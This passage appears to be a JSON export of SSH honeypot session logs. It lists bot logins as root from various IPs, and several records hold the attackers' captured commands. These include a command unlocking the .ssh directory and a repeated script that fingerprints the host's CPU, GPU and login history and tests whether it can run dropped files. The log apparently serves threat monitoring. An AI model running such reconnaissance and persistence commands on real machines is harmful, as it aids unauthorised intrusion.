  "started_at": "2026-08-26T05:34:30.951028+00:00",
  "ended_at": "2026-08-26T05:34:34.076474+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "654821bb-f773-4d60-9950-767a38d6336a",
  "name": "twilight-restless-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.26.106.103",
  "src_port": 23002,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:26:42.580900+00:00",
  "ended_at": "2026-08-26T05:26:43.322383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1831623a-54f0-4076-9cdc-d4d4e0ce7c35",
  "name": "earnest-hushed-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 35956,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:22:57.018932+00:00",
  "ended_at": "2026-08-26T05:22:59.447211+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a5fedc6-5637-468c-ae58-217c905acb7f",
  "name": "brisk-obsidian-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "85.11.167.154",
  "src_port": 11404,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:11:59.918823+00:00",
  "ended_at": "2026-08-26T05:12:01.715111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c0f1f91f-14eb-443c-927e-66e77cd79df1",
  "name": "golden-genial-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.224.160",
  "src_port": 56948,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 648,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T05:01:27.203810+00:00",
  "ended_at": "2026-08-26T05:01:27.406284+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3963
 },
 {
  "id": "ecf9edcf-ba31-41e0-8116-1801d77b95fc",
  "name": "ancient-twilight-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.224.160",
  "src_port": 57244,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:00:54.430550+00:00",
  "ended_at": "2026-08-26T05:00:54.860383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "80760910-df33-40c5-93de-8168d8870bd2",
  "name": "knotted-humble-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.224.160",
  "src_port": 59502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T05:00:34.996808+00:00",
  "ended_at": "2026-08-26T05:00:36.282260+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1428b95-c650-4486-a55d-6f2555ecdc15",
  "name": "quaint-gentle-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.181.21",
  "src_port": 43356,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T04:32:14.314226+00:00",
  "ended_at": "2026-08-26T04:32:14.728056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ccf345e-7058-466d-8a2f-8adc5ee10811",
  "name": "crystal-dapper-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.227",
  "src_port": 11872,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T03:45:50.627704+00:00",
  "ended_at": "2026-08-26T03:45:51.131796+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b83c8df1-149c-4219-9d75-938fddccfc47",
  "name": "dewy-earnest-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.115",
  "src_port": 39846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T03:38:32.348162+00:00",
  "ended_at": "2026-08-26T03:38:32.798738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82bee72a-1d4d-4b86-8405-c3a05adbf23c",
  "name": "tranquil-restless-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "43.138.48.216",
  "src_port": 47720,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T03:01:32.727634+00:00",
  "ended_at": "2026-08-26T03:05:33.252303+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "d40be5f7-5df0-4778-8844-fa87ca2cca85",
  "name": "earnest-opal-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 7708,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T02:37:55.741160+00:00",
  "ended_at": "2026-08-26T02:37:57.049964+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8ef7120e-873f-4da1-93e1-36379fd0c419",
  "name": "vernal-thrifty-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.206",
  "src_port": 35502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T02:30:24.712797+00:00",
  "ended_at": "2026-08-26T02:30:26.580317+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc16ac8d-c2c3-424d-bfac-85c45c933c3f",
  "name": "cheerful-coral-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 53170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:19:31.069881+00:00",
  "ended_at": "2026-08-26T02:19:31.181026+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "931905bc-36bd-4daa-b313-b5122f8da6ab",
  "name": "downy-fleeting-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 51506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:17:59.251170+00:00",
  "ended_at": "2026-08-26T02:17:59.363866+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "61d72bba-8d47-4b21-b0f0-7290e074ffd4",
  "name": "courtly-buoyant-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 49840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:16:35.224788+00:00",
  "ended_at": "2026-08-26T02:16:35.345945+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8f3020cb-8292-4283-be98-9f836a8c6e0f",
  "name": "fickle-sullen-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 20856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T02:15:27.800470+00:00",
  "ended_at": "2026-08-26T02:15:28.225610+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f0c38ab-7d74-4f45-9709-925c07f57086",
  "name": "calm-weathered-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 48190,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T02:15:09.339161+00:00",
  "ended_at": "2026-08-26T02:15:09.473040+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "723ab6b9-4146-451e-b7c1-271028b2546a",
  "name": "marine-genial-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 46520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) 